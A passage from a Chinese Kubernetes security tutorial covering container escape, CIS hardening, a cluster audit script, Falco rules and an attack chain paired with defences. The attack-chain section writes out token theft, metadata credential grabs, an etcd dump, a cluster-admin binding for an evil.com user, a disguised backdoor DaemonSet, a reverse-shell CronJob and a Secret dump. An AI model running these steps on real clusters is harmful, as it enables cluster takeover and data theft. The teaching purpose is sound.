│ 白话:把 root 的"万能权限"【拆成 40 多个小权限】, │
│ 容器默认只有其中 14 个,去掉了最危险的那些 │
│ │
│ ★★ 给了这几个 = 基本等于给 root: │
│ CAP_SYS_ADMIN → ★★ "新的 root",能 mount 文件系统、 │
│ 能改 cgroup、能干几乎所有事 │
│ CAP_SYS_MODULE → 能加载内核模块(★ 直接打进内核) │
│ CAP_SYS_PTRACE → 能 ptrace 宿主机上的进程(★ 注入代码) │
│ CAP_NET_ADMIN → 能改网络配置、能抓包(★ 嗅探其他容器流量) │
│ CAP_DAC_READ_SEARCH → 能读宿主机任意文件(绕过文件权限) │
│ CAP_DAC_OVERRIDE→ 能写宿主机任意文件 │
│ CAP_SYS_RAWIO → 能直接读写物理内存/磁盘 │
│ │
│ ★ 检测命令: │
│ kubectl get pods -A -o json | jq -r ' │
│ .items[] | select( │
│ [.spec.containers[].securityContext.capabilities.add[]? │
│ ] | any(. == "SYS_ADMIN" or . == "ALL") │
│ ) | .metadata.namespace + "/" + .metadata.name' │
└────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────┐
│ 手法 5:★ 共享宿主机命名空间(hostPID / hostNetwork / hostIPC) │
├────────────────────────────────────────────────────────────────┤
│ hostPID: true │
│ → 能看到宿主机【所有进程】(ps aux 显示的是宿主机的) │
│ → ★ 配合 CAP_SYS_PTRACE:注入到其他容器的进程里 │
│ → ★ 能看到其他容器的环境变量(★ 环境变量里常有密码!) │
│ cat /proc/<pid>/environ | tr '\0' '\n' │
│ │
│ hostNetwork: true │
│ → 用宿主机网络栈 │
│ → ★ 能访问 localhost 上的所有服务 │
│ (包括 kubelet 的 10250、etcd 的 2379!) │
│ → ★ 能抓到宿主机所有网络流量 │
│ │
│ hostIPC: true │
│ → 共享内存,能读写其他进程的共享内存段 │
└────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────┐
│ 手法 6:★ 内核漏洞(配置没问题也会中招) │
├────────────────────────────────────────────────────────────────┤
│ 著名漏洞: │
│ CVE-2019-5736 runc 逃逸 │
│ → 通过 /proc/self/exe 覆盖宿主机上的 runc 二进制 │
│ CVE-2019-14271 Docker cp 漏洞 │
│ CVE-2021-30465 runc 符号链接竞态 │
│ CVE-2022-0847 ★ Dirty Pipe(脏管道) │
│ → 能覆写任意只读文件,包括宿主机上的 │
│ → ★ 影响 Linux 5.8+,几乎当时所有容器环境都中招 │
│ CVE-2022-0185 unprivileged 也能利用的堆溢出 │
│ CVE-2024-21626 runc "Leaky Vessels"(★ 较新) │
│ → 通过 /proc/self/fd 泄露宿主机文件系统句柄 │
│ │
│ ★★ 关键认知: │
│ ★ 内核漏洞导致的逃逸,【任何配置层面的加固都挡不住】 │
│ → 对策只有三个: │
│ ① 及时打内核补丁(★ 云托管的 K8s 会自动帮你打节点补丁) │
│ ② 【更强的隔离】—— gVisor / Kata Containers │
│ ③ 【不共享内核】—— 用虚拟机级别的隔离 │
└────────────────────────────────────────────────────────────────┘
★ 四种隔离强度:普通容器 → 虚拟机
┌──────────────────┬──────────────────────────────────────────────┐
│ 隔离方案 │ 说明 + 代价 │
├──────────────────┼──────────────────────────────────────────────┤
│ ① 普通容器 │ runc + namespace + cgroup │
│ (runc) │ 共享内核 │
│ │ ★ 性能:100%(基准) │
│ │ ★ 安全:一般,内核漏洞即沦陷 │
│ │ → 适用:可信的内部业务(99% 的场景) │
├──────────────────┼──────────────────────────────────────────────┤
│ ② ★ gVisor │ Google 出品,在容器和内核之间插一层 │
│ (runsc) │ "用户态内核",容器里的系统调用由它接管 │
│ │ ★ 攻击者要攻破 gVisor 才能碰到真内核 │
│ │ ★ 性能:约 80~90%(系统调用密集的应用损失大) │
│ │ ★ 代价:部分系统调用不支持,兼容性有坑 │
│ │ → 适用:★ 运行不可信代码(如用户上传的代码、 │
│ │ Serverless 多租户、CI 构建) │
├──────────────────┼──────────────────────────────────────────────┤
│ ③ ★★ Kata │ 每个 Pod 跑在一个【轻量级虚拟机】里 │
│ Containers │ ★ 有独立的 guest 内核 │
│ │ ★ 性能:约 95%(启动稍慢,~100ms) │
│ │ ★ 安全:★★ 接近虚拟机 │
│ │ → 适用:★ 多租户、金融、不可信负载 │
├──────────────────┼──────────────────────────────────────────────┤
│ ④ ★★★ 用户命名空间│ ★ Linux 内核原生特性,K8s 1.25+ 支持 │
│ (User Namespace) │ 容器内的 root = 宿主机的普通用户(UID 映射) │
│ │ ★ 即使逃逸出来,也只是个 nobody │
│ │ ★ 性能:几乎无损失 │
│ │ ★ 代价:需要内核和运行时支持,部分场景有兼容问题 │
│ │ → ★ 2026 年最值得关注的方向(成本最低收益最高) │
└──────────────────┴──────────────────────────────────────────────┘
★★ 务实建议:
① 所有业务 Pod:PSA restricted + 非 root + 只读根文件系统
(★ 这能挡住 90% 的实际逃逸手法)
② 运行不可信代码的 Pod:gVisor 或 Kata
③ 节点的宿主机本身:最小化安装、及时打补丁、禁止 SSH
④ ★ 不要在容器里跑任何需要真的 root 的东西
# ★ 用 RuntimeClass 给敏感 Pod 用 gVisor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: gvisor
handler: runsc # ★ 对应 containerd 里配置的 runtime
---
apiVersion: v1
kind: Pod
metadata:
name: untrusted-code-runner
spec:
runtimeClassName: gvisor # ★ 就这一行
containers:
- name: runner
image: code-runner:1.0
10.4.8 控制面与节点加固(CIS 基线)
★ 名词:CIS Benchmark(CIS 基线) 白话:互联网安全中心(CIS)发布的一份“配置检查清单”, 告诉你 K8s 的哪些默认配置不安全,应该怎么改。 ★ 等保 2.0 的 K8s 部分、很多公司的安全规范都参考它。
# ============================================================
# kube-bench:自动跑 CIS 基线检查(★ 必做)
# ============================================================
# 方式 1:直接在节点上跑
docker run --rm --pid=host --net=host --cap-add=audit-control \
-v /etc:/etc:ro -v /var:/var:ro -v /usr/bin:/usr/bin:ro \
-v /tmp:/tmp \
aquasec/kube-bench:latest run --targets master
# 方式 2:★ 在集群里跑成 Job(推荐,一次扫所有节点)
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job-master.yaml
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job-node.yaml
kubectl logs job/kube-bench-master
# 输出示例:
# == Summary ==
# 45 checks PASS
# 12 checks FAIL ← ★ 这些要修
# 8 checks WARN
# 0 checks INFO
#
# [FAIL] 1.2.20 Ensure that the --profiling argument is set to false (Automated)
# [FAIL] 1.3.2 Ensure that the --profiling argument is set to false (Automated)
# [FAIL] 4.2.6 Ensure that the --protect-kernel-defaults argument is set to true
# ...
# ★ 按严重度排序优先修:
# ① 认证相关(匿名访问、--insecure-port)
# ② 授权相关(--authorization-mode=AlwaysAllow)
# ③ 加密相关(etcd 未加密、TLS 证书)
# ④ 审计相关(未开启审计日志)
★ 最关键的十几项加固(手工核对清单)
═══════════════════════════════════════════════════════════════
① ★★★ kubelet 匿名认证(必须关闭)
═══════════════════════════════════════════════════════════════
★ 风险:kubelet 的 10250 端口如果允许匿名访问,
任何人 curl 一下就能拿到该节点所有 Pod 的信息、所有 Secret,
还能 exec 进容器(★ 等于节点 root)
检查:
curl -sk https://<node-ip>:10250/pods
# ★ 如果能返回 JSON = 匿名访问开着 = 严重问题
修复(/var/lib/kubelet/config.yaml):
authentication:
anonymous:
enabled: false # ★★★ 关掉
webhook:
enabled: true
authorization:
mode: Webhook # ★ 不要 AlwaysAllow
═══════════════════════════════════════════════════════════════
② ★★★ kubelet 只读端口 10255(必须关闭)
═══════════════════════════════════════════════════════════════
★ 风险:10255 是【无需认证】的只读端口,能看到所有 Pod 信息
修复:
# /var/lib/kubelet/config.yaml 或启动参数
readOnlyPort: 0 # ★ 设为 0 = 关闭
检查:
curl http://<node-ip>:10255/pods # 应该连不上
═══════════════════════════════════════════════════════════════
③ ★★★ API Server 匿名认证(生产必须关闭)
═══════════════════════════════════════════════════════════════
检查(不开任何凭据):
curl -k https://<apiserver>:6443/api/v1/namespaces
# 返回 403 Forbidden = 正常
# 返回命名空间列表 = ★★ 匿名可读 = 严重
修复(kube-apiserver 启动参数):
--anonymous-auth=false
★ 注意:关闭后 /healthz 等健康检查也要能访问,
需要额外配置 --authentication-token-webhook 或用 authn 白名单
═══════════════════════════════════════════════════════════════
④ ★★★ etcd 的 TLS 与访问控制
═══════════════════════════════════════════════════════════════
★ 风险:etcd 存着整个集群的所有数据(含所有 Secret)
如果 etcd 端口对内网开放且无认证 → 一条命令拿走全部
检查:
# 该命令【不应该】能成功(除非有证书)
etcdctl --endpoints=http://<etcd-ip>:2379 get / --prefix --keys-only
# ★ 如果返回了大量 key = 未启用客户端证书认证 = ★★★ 立即修复
修复(etcd 启动参数):
--client-cert-auth=true
--cert-file=/etc/kubernetes/pki/etcd/server.crt
--key-file=/etc/kubernetes/pki/etcd/server.key
--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
--peer-client-cert-auth=true # ★ 节点间通信也要认证
# ★ 防火墙:2379/2380 只允许 master 节点和 apiserver 访问
═══════════════════════════════════════════════════════════════
⑤ ★★ API Server 审计日志(★ 出事后唯一能追溯的东西)
═══════════════════════════════════════════════════════════════
★ 默认【不开启】!必须手工配置
配置(audit-policy.yaml):
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# ★ 不记录只读的健康检查(避免日志爆炸)
- level: None
users: ["system:kube-proxy"]
verbs: ["watch"]
resources:
- group: ""
resources: ["endpoints", "services", "services/status"]
- level: None
nonResourceURLs: ["/healthz*", "/readyz*", "/livez*", "/metrics"]
# ★★ Secret 的访问(★ 审计重点)
- level: Metadata
resources:
- group: ""
resources: ["secrets", "configmaps"]
# ★★★ 这些高危操作要记录请求和响应体
- level: RequestResponse
resources:
- group: ""
resources: ["pods/exec", "pods/attach", "pods/portforward"]
- group: ""
resources: ["serviceaccounts/token"]
- group: "rbac.authorization.k8s.io"
# 其他记录元数据
- level: Metadata
启动参数:
--audit-policy-file=/etc/kubernetes/audit-policy.yaml
--audit-log-path=/var/log/kubernetes/audit.log
--audit-log-maxage=30
--audit-log-maxbackup=10
--audit-log-maxsize=100
═══════════════════════════════════════════════════════════════
⑥ ★★ 关闭 profiling(信息泄露 + 性能)
═══════════════════════════════════════════════════════════════
kube-apiserver --profiling=false
kube-controller-manager --profiling=false
kube-scheduler --profiling=false
kubelet --profiling=false
★ 风险:/debug/pprof 端点会泄露内存、goroutine、CPU 剖析数据
═══════════════════════════════════════════════════════════════
⑦ ★★ 关闭不安全端口
═══════════════════════════════════════════════════════════════
kube-apiserver --insecure-port=0 (1.20+ 已移除)
kube-controller-manager --port=0 # ★ 10252 无认证端口
kube-scheduler --port=0 # ★ 10251 无认证端口
kubelet readOnlyPort: 0
★ 检查:
curl http://<master>:10252/metrics # 应该连不上
curl http://<master>:10251/metrics # 应该连不上
═══════════════════════════════════════════════════════════════
⑧ ★★ 保护内核参数(protect-kernel-defaults)
═══════════════════════════════════════════════════════════════
kubelet --protect-kernel-defaults=true
# ★ 防止容器修改宿主机的内核参数(sysctl)
═══════════════════════════════════════════════════════════════
⑨ ★★ RBAC 授权模式(不能用 AlwaysAllow)
═══════════════════════════════════════════════════════════════
kube-apiserver --authorization-mode=Node,RBAC
# ★ 不能是 AlwaysAllow(那是"所有人都是管理员")
═══════════════════════════════════════════════════════════════
⑩ ★★ 准入控制器插件(★ 至少要有这几个)
═══════════════════════════════════════════════════════════════
--enable-admission-plugins=NodeRestriction,PodSecurity,ResourceQuota,LimitRanger
★ NodeRestriction:★ 限制 kubelet 只能改自己节点上的资源
(否则任何一个节点沦陷 = 整个集群沦陷)
═══════════════════════════════════════════════════════════════
⑪ ★★ TLS 证书有效期与轮换
═══════════════════════════════════════════════════════════════
# 查看证书过期时间
kubeadm certs check-expiration
# 续期
kubeadm certs renew all
★ 建议:监控证书过期时间,提前 30 天告警
★ 用 cert-manager 自动化业务证书
═══════════════════════════════════════════════════════════════
⑫ ★ 不要用 docker.sock / containerd.sock 挂载(见 10.4.7)
═══════════════════════════════════════════════════════════════
# ============================================================
# ★ 集群安全自检一键脚本(接手新集群必跑)
# ============================================================
#!/bin/bash
# k8s_security_check.sh
echo "════ 1. kubelet 匿名访问检查 ════"
for node in $(kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type=="InternalIP")].address}'); do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 "https://$node:10250/pods" 2>/dev/null)
if [ "$CODE" == "200" ]; then
echo " ★★★ [严重] 节点 $node 的 kubelet 允许匿名访问!"
elif [ "$CODE" == "401" ] || [ "$CODE" == "403" ]; then
echo " ✓ 节点 $node 正常(需要认证)"
else
echo " - 节点 $node 无法连接(可能被防火墙挡住):$CODE"
fi
done
echo ""
echo "════ 2. kubelet 只读端口 10255 ════"
for node in $(kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type=="InternalIP")].address}'); do
CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "http://$node:10255/pods" 2>/dev/null)
[ "$CODE" == "200" ] && echo " ★★★ [严重] $node 的 10255 端口开放!" || echo " ✓ $node 正常"
done
echo ""
echo "════ 3. 特权容器 / hostPath / hostPID 检查 ════"
kubectl get pods -A -o json | jq -r '
.items[]
| . as $pod
| [
(.spec.containers[]? | select(
(.securityContext.privileged == true)
or ((.securityContext.capabilities.add // []) | any(. == "SYS_ADMIN" or . == "ALL"))
or (.securityContext.allowPrivilegeEscalation == true)
) | "容器 \(.name) 有危险 securityContext"),
(select(.spec.hostPID == true) | "★ hostPID"),
(select(.spec.hostNetwork == true) | "★ hostNetwork"),
(select(.spec.hostIPC == true) | "★ hostIPC"),
(.spec.volumes[]? | select(.hostPath.path != null) | "★ hostPath: \(.hostPath.path)")
]
| select(length > 0)
| " [!] \($pod.metadata.namespace)/\($pod.metadata.name): " + join(", ")
'
echo ""
echo "════ 4. 挂载 docker.sock 的 Pod ════"
kubectl get pods -A -o json | jq -r '
.items[]
| . as $pod
| (.spec.volumes[]? | select(
(.hostPath.path // "") | test("docker.sock|containerd.sock|crio.sock")
))
| " ★★★ [严重] \($pod.metadata.namespace)/\($pod.metadata.name) 挂载了 \(.hostPath.path)"
'
echo ""
echo "════ 5. 以 root 运行的 Pod ════"
kubectl get pods -A -o json | jq -r '
.items[]
| . as $pod
| (.spec.containers[]? | select(
(.securityContext.runAsUser == 0)
or ((.securityContext.runAsNonRoot != true) and (.securityContext.runAsUser == null))
))
| " [!] \($pod.metadata.namespace)/\($pod.metadata.name) 容器 \(.name) 可能以 root 运行"
' | head -30
echo ""
echo "════ 6. 能读所有 Secret 的 ClusterRole ════"
kubectl get clusterroles -o json | jq -r '
.items[]
| select(.metadata.name | startswith("system:") | not)
| . as $cr
| (($cr.rules // [])[]) as $r
| select((($r.resources // []) | any(. == "secrets" or . == "*"))
and (($r.verbs // []) | any(. == "get" or . == "list" or . == "*")))
| " ★★ \($cr.metadata.name)"
'
echo ""
echo "════ 7. 命名空间的 Pod Security 标准 ════"
kubectl get namespaces -o custom-columns=\
'NAMESPACE:.metadata.name,'\
'ENFORCE:.metadata.labels.pod-security\.kubernetes\.io/enforce,'\
'AUDIT:.metadata.labels.pod-security\.kubernetes\.io/audit'
# ★ 期望:生产命名空间应该是 restricted,DEV 至少 baseline
echo ""
echo "════ 8. NetworkPolicy 覆盖情况 ════"
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
COUNT=$(kubectl get networkpolicy -n $ns --no-headers 2>/dev/null | wc -l)
if [ "$COUNT" -eq 0 ]; then
echo " ★ [!] 命名空间 $ns 没有任何 NetworkPolicy(默认全通)"
else
echo " ✓ 命名空间 $ns 有 $COUNT 条策略"
fi
done
10.4.9 运行时检测:Falco(K8s 的“监控摄像头”)
★ 名词:Falco 白话:K8s 的入侵检测系统(IDS)。 它盯着系统调用(syscall),发现异常行为就告警。 ★ CNCF 毕业项目,是目前最主流的容器运行时安全工具。
★ 名词:eBPF 白话:在 Linux 内核里安全地运行小程序的技术,不用改内核代码、不用加载模块。 ★ Falco 的现代版本用 eBPF 来采集系统调用(老版本用内核模块)。 生活类比:在水管上装一个传感器测水流,而不是把水管拆开看。
★ Falco 能发现什么(举些真实的)
✓ 容器里启动了 shell(★ 正常业务容器不会有 bash)
✓ 容器里读写了敏感文件(/etc/shadow、/etc/crontab)
✓ 挂载了 docker.sock
✓ 容器里执行了 chmod +s(提权)
✓ 往 /usr/bin 等系统目录写文件
✓ 容器建立了意外的外网连接(挖矿特征)
✓ 读取了 ServiceAccount token(★ 攻击链的第一步)
✓ 容器逃逸尝试(如调用 setns、unshare)
✓ Pod 使用了特权模式
✓ 访问了云元数据服务 169.254.169.254(★ SSRF 特征)
# ============================================================
# Falco 自定义规则(★ 生产可用)
# 文件:/etc/falco/rules.d/custom_rules.yaml
# ============================================================
- rule: 容器里启动了 shell
desc: 检测到容器内启动了交互式 shell,可能是攻击者进入了容器
condition: >
spawned_process
and container.id != host
and proc.name in (shell_binaries)
and not container.image.repository in (allowed_shell_images)
output: >
★ 容器内启动 shell (容器=%container.name 镜像=%container.image.repository
命令=%proc.cmdline 用户=%user.name 命名空间=%k8s.ns.name Pod=%k8s.pod.name)
priority: WARNING
tags: [container, shell, mitre_execution]
# ★ 定义允许有 shell 的镜像(运维容器)
- list: allowed_shell_images
items: ["alpine", "busybox", "nicolaka/netshoot", "corerad/debug"]
---
- rule: 读取了 ServiceAccount Token
desc: ★ 这是 K8s 攻击链的第一步,必须告警
condition: >
open_read
and container.id != host
and fd.name startswith /var/run/secrets/kubernetes.io/serviceaccount
and not proc.pname in (kubelet, containerd)
output: >
★★ 有进程读取了 SA Token (进程=%proc.cmdline 容器=%container.name
Pod=%k8s.pod.name 命名空间=%k8s.ns.name)
priority: CRITICAL
tags: [k8s, credentials, mitre_credential_access]
---
- rule: 访问云元数据服务
desc: ★ SSRF / 凭据窃取特征
condition: >
outbound
and fd.sip in ("169.254.169.254", "100.100.100.200", "169.254.170.2")
and container.id != host
output: >
★★★ 容器访问了云元数据服务 (进程=%proc.cmdline 容器=%container.name
目标=%fd.sip Pod=%k8s.pod.name)
priority: CRITICAL
tags: [cloud, metadata, ssrf, mitre_credential_access]
---
- rule: 容器里写入敏感系统目录
desc: 可能是植入后门或提权
condition: >
open_write
and container.id != host
and fd.name startswith /etc/
and fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers,
/etc/crontab, /etc/ld.so.preload)
output: >
★★★ 容器写入了敏感系统文件 (文件=%fd.name 进程=%proc.cmdline
容器=%container.name Pod=%k8s.pod.name)
priority: CRITICAL
tags: [container, persistence, mitre_persistence]
---
- rule: 挂载了容器运行时 socket
desc: ★ 这是容器逃逸的强信号
condition: >
(open_read or open_write)
and container.id != host
and fd.name in (/var/run/docker.sock, /run/docker.sock,
/var/run/containerd/containerd.sock,
/run/containerd/containerd.sock)
output: >
★★★ 容器访问了容器运行时 socket (进程=%proc.cmdline 容器=%container.name
文件=%fd.name Pod=%k8s.pod.name)
priority: CRITICAL
tags: [container, escape, mitre_privilege_escalation]
---
- rule: 容器里执行了包管理器(下载木马)
desc: 正常生产容器不应该在运行中装软件
condition: >
spawned_process
and container.id != host
and proc.name in (apt, apt-get, yum, dnf, apk, pip, pip3, npm, wget, curl)
and not container.image.repository in (allowed_build_images)
output: >
★ 容器内执行了下载/安装命令 (命令=%proc.cmdline 容器=%container.name
Pod=%k8s.pod.name 镜像=%container.image.repository)
priority: WARNING
tags: [container, network, mitre_command_and_control]
- list: allowed_build_images
items: []
---
- rule: 检测到挖矿特征
desc: 连接已知矿池端口或使用矿池域名
condition: >
outbound
and container.id != host
and (fd.sport in (3333, 4444, 5555, 7777, 8888, 9999, 14444, 45700)
or fd.sip in (known_mining_pools))
output: >
★★★ 疑似挖矿行为 (目标=%fd.sip:%fd.sport 进程=%proc.cmdline
容器=%container.name Pod=%k8s.pod.name)
priority: CRITICAL
tags: [crypto_mining, mitre_impact]
# ============================================================
# 部署 Falco(Helm)
# ============================================================
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
--namespace falco --create-namespace \
--set driver.kind=ebpf \ # ★ 用 eBPF(现代内核推荐)
--set falcosidekick.enabled=true \ # ★ 告警转发
--set falcosidekick.webhook.enabled=true \
--set falcosidekick.webhook.address=http://your-webhook:8080/falco
# 测试规则是否生效(★ 一定要测!)
kubectl exec -it <any-pod> -- sh -c "cat /etc/shadow"
# → Falco 应该立刻报 CRITICAL 告警
# 看告警
kubectl logs -n falco -l app.kubernetes.io/name=falco -f
★ Falco 的三个现实问题(诚实说明)
① 【误报多】
很多正常操作(如 init 容器、调试)会触发告警
→ 应对:★ 必须做"画像+白名单",按命名空间/镜像调整规则
→ 建议:先只开 CRITICAL 级别告警,WARNING 只记录
② 【性能开销】
eBPF 模式约 1~3% CPU 开销
★ 但在 syscall 密集的应用(如 Redis、数据库)上可能到 5~10%
→ 应对:生产环境先灰度,压测确认
③ ★【只能检测,不能阻断】
Falco 发现攻击时,攻击【已经在发生了】
→ 应对:配合 Falco Sidekick + K8s 自动响应
(如:发现挖矿 → 自动删除 Pod + 隔离节点)
→ ★ 但自动阻断有风险(误报会打掉正常业务),
建议先只做【告警 + 人工确认】,成熟后再自动化
10.4.10 K8s 攻防实战:完整攻击链与防守对照
═══════════════════════════════════════════════════════════════
场景:攻击者通过一个对外 Web 应用的 RCE 进入了集群
目标:拿到集群管理员权限 + 拿下所有节点
═══════════════════════════════════════════════════════════════
【第 1 步】立足:我在哪?我是谁?
─────────────────────────────────────────────────────────
攻击:
cat /proc/self/cgroup # 判断是否在容器里
env | grep KUBERNETES # 判断是否在 K8s 里
cat /var/run/secrets/kubernetes.io/serviceaccount/token # 拿 token
curl -k -H "Authorization: Bearer $TOKEN" \
https://$KUBERNETES_SERVICE_HOST/apis/authorization.k8s.io/v1/selfsubjectrulesreview
★★ 防守:
☑ automountServiceAccountToken: false(★ 这一条就能挡住整个第 1 步)
☑ Falco 规则:读取 SA token → CRITICAL 告警
☑ 最小权限 RBAC(default SA 只有很少权限)
【第 2 步】探测:我能访问什么?
─────────────────────────────────────────────────────────
攻击:
# ① 扫内网(K8s 默认全通!)
for i in $(seq 1 254); do
timeout 0.2 bash -c "echo > /dev/tcp/10.0.0.$i/6379" 2>/dev/null && echo "Redis: 10.0.0.$i"
done
# ② 访问云元数据(拿节点角色的云凭据)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# ③ 访问 kubelet
curl -sk https://$NODE_IP:10250/pods
# ④ 访问 etcd
etcdctl --endpoints=http://10.0.1.10:2379 get / --prefix
★★ 防守:
☑ NetworkPolicy:默认拒绝 Egress(★ 挡住扫描和外联)
☑ NetworkPolicy:169.254.169.254 加入 except(★ 挡住云凭据窃取)
☑ IMDSv2 + hop limit = 1
☑ kubelet 匿名认证关闭
☑ etcd 客户端证书认证 + 防火墙
☑ Falco:访问元数据 → CRITICAL
【第 3 步】提权:从普通 SA 到集群管理员
─────────────────────────────────────────────────────────
攻击(几种路径):
路径 A:读其他 SA 的 token
kubectl get secrets -A | grep service-account-token
kubectl get secret <sa-token-secret> -o jsonpath='{.data.token}' | base64 -d
# ★ 如果其中某个 SA 有 cluster-admin → 直接用它的 token
路径 B:创建特权 Pod 接管节点
kubectl apply -f privileged-pod.yaml # hostPID + hostPath / + privileged
kubectl exec -it node-takeover -- chroot /host
# ★ 现在你是节点 root,节点上有:
# - /var/lib/kubelet/pods/*/volumes/.../token(所有 Pod 的 SA token)
# - 节点的 kubeconfig
# - 云角色凭据(通过 IMDS)
路径 C:利用 RBAC 提权(有 escalate/bind 权限)
kubectl create clusterrolebinding pwn \
--clusterrole=cluster-admin --user=system:serviceaccount:default:my-sa
★★ 防守:
☑ ★★ Pod Security Admission = restricted(★ 唯一能挡住路径 B 的)
☑ 不给 default SA 任何额外权限(★ 挡住路径 A)
☑ Secret 的 get/list 权限严格限制
☑ 绝不给 escalate / bind / impersonate
☑ etcd 静态加密(即使能读也解不开)
☑ 用投影 Volume 的短期 token(路径 A 拿到的 token 很快过期)
【第 4 步】持久化:留后门
─────────────────────────────────────────────────────────
攻击:
手法 1:创建隐藏的 ClusterRoleBinding
kubectl create clusterrolebinding system-update \
--clusterrole=cluster-admin --user=attacker@evil.com
# ★ 名字起得像系统组件,不容易被发现
手法 2:★ DaemonSet 后门(★ 每个节点上都有)
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-metrics-agent # ★ 名字伪装成监控组件
namespace: kube-system # ★ 藏在系统命名空间
spec:
template:
spec:
hostPID: true
containers:
- name: agent
image: evil/backdoor:latest
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
# ★ 效果:新加入的节点也会自动部署,删掉会自动重建
手法 3:★ 在 kubelet 里改静态 Pod 目录
echo '<malicious pod yaml>' > /etc/kubernetes/manifests/backdoor.yaml
# 所在节点的 kubelet 会自动拉起这个 Pod
# ★★ 而且用 kubectl delete 删不掉(kubelet 会重建)
手法 4:修改 webhook 配置(拦截所有 API 请求)
kubectl edit mutatingwebhookconfiguration <legit-webhook>
# 把 URL 改成攻击者的服务器 → 能窃取所有创建的资源(含 Secret)
手法 5:CronJob 定时反弹 shell
kubectl create cronjob backup --image=evil/rev --schedule="*/5 * * * *"
★★ 防守:
☑ 审计日志开启(★ 所有创建/修改操作都在案)
☑ ★ 告警:任何 system:* 之外的新 ClusterRoleBinding
☑ 告警:kube-system 命名空间的新 DaemonSet / Deployment
☑ GitOps(ArgoCD/Flux)—— ★ 集群状态与 git 比对,漂移即告警
☑ ★ 这一条最有效:定期核对 RBAC 和 kube-system 资源清单
☑ Falco:写入 /etc/kubernetes/manifests → CRITICAL
【第 5 步】收割:拿数据 / 挖矿
─────────────────────────────────────────────────────────
攻击:
kubectl get secrets -A -o json > all-secrets.json # 全部 Secret
kubectl exec -it <db-pod> -- mysqldump -A > db.sql # 数据库
# 或者批量起挖矿 DaemonSet
★★ 防守:
☑ NetworkPolicy Egress 白名单(★ 挡住外传和矿池连接)
☑ 敏感 Secret 用外部管理(Vault),且访问有审计
☑ Falco:矿池端口/域名告警
☑ 云侧:GuardDuty / 云安全中心检测异常 API 调用
═══════════════════════════════════════════════════════════════
★★★ 防守优先级总结(如果只能做五件事)
═════════════════════════════════════════════════════════════
1. ★★★ automountServiceAccountToken: false
(挡住攻击链第 1 步,成本最低)
2. ★★★ Pod Security Admission = restricted
(挡住特权 Pod,也就挡住了节点接管)
3. ★★★ NetworkPolicy 默认拒绝 Egress
(挡住横移、外联、挖矿、数据外传)
4. ★★★ 最小权限 RBAC + 不给 default SA 额外权限
(限制爆炸半径)
5. ★★ 审计日志 + Falco
(出事后能查清楚 + 实时告警)
═════════════════════════════════════════════════════════════
10.5 服务网格与新兴云原生攻击面
★ 一句话:云原生世界每引入一层“方便”的抽象(服务网格、eBPF、GitOps、AI 平台), 就同时引入了一层新的、大多数人还不熟悉的攻击面。
10.5.1 服务网格(Service Mesh)是什么
★ 名词:Service Mesh(服务网格) 白话:给微服务之间的通信加一层“统一管理”的基础设施。 原来 A 服务调用 B 服务的逻辑写在代码里(重试、超时、TLS、鉴权), 现在抽出来交给一个专门的代理(sidecar)去做。
★ 名词:Sidecar(边车) 白话:每个 Pod 旁边自动塞进去的一个“小助手容器”。 你发请求时,请求先经过这个小助手,它负责加密、鉴权、记录日志、重试。 ★ 名字来自摩托车的挎斗(sidecar)。
★ 名词:Envoy / Istio / Linkerd
- Envoy:最流行的代理软件(Lyft 开源),sidecar 通常就是它
- Istio:最流行的服务网格(Google/IBM 出品),用 Envoy 做数据面
- Linkerd:更轻量,用 Rust 写的自研代理
★ 没有服务网格 vs 有服务网格
【没有服务网格】
┌────────┐ ┌────────┐
│ 服务 A │ ─── HTTP 明文 ───▶ │ 服务 B │
└────────┘ └────────┘
↑ 代码里要自己写:
- TLS 证书管理
- 重试 / 超时 / 熔断
- 调用链追踪
- 访问日志
- ★ 服务间鉴权(谁允许调谁)
★ 问题:每个服务都要写一遍,语言不同实现不同,改一次要全发版
【有服务网格】
┌────────────────────────────┐
│ Pod A │
│ ┌──────┐ ┌──────────┐ │
│ │ 应用 │───▶│ Envoy │ │ ┌──────────────────┐
│ │ │ │ (sidecar)│ │ │ 控制面 │
│ └──────┘ └────┬─────┘ │ │ (Istiod) │
└───────────────────┼────────┘ │ - 发证书 │
│ │ - 下发策略 │
mTLS│ │ - 服务发现 │
▼ └────────┬─────────┘
┌────────────────────────────┐ │
│ Pod B │ │ 下发配置和证书
│ ┌──────────┐ ┌──────┐ │◀───────────────┘
│ │ Envoy │───▶│ 应用 │ │
│ │ (sidecar)│ │ │ │
│ └──────────┘ └──────┘ │
└────────────────────────────┘
★ 好处:
① 应用代码零改造(★ 证书、重试全由 sidecar 干)
② 统一策略(在控制面写一条规则,全集群生效)
③ ★ 全链路 mTLS(服务间通信自动加密 + 双向认证)
④ 细粒度可观测(每次调用都有指标、日志、追踪)
★ 名词:mTLS(mutual TLS,双向 TLS) 白话:不只是“客户端验证服务器”,而是“两边互相验证”。 生活类比:
- 普通 TLS:你去银行,银行出示营业执照,你确认它是真银行(单向)
- mTLS:银行还要看你的身份证,确认你是本人(双向)
10.5.2 服务网格带来的四个安全能力
┌────────────────────────────────────────────────────────────┐
│ 能力 1:★★★ 零信任网络(Zero Trust) │
├────────────────────────────────────────────────────────────┤
│ ★ 传统模型:内网 = 可信 │
│ "进了内网就是自己人" │
│ → 攻击者突破边界后横行无阻(见第七章) │
│ │
│ ★ 零信任模型:★ 从来不信任网络,只信任身份 │
│ 每次调用都要: │
│ ① 你是谁?(mTLS 证书里带的 SPIFFE ID) │
│ ② 你能不能调这个服务的这个接口?(授权策略) │
│ │
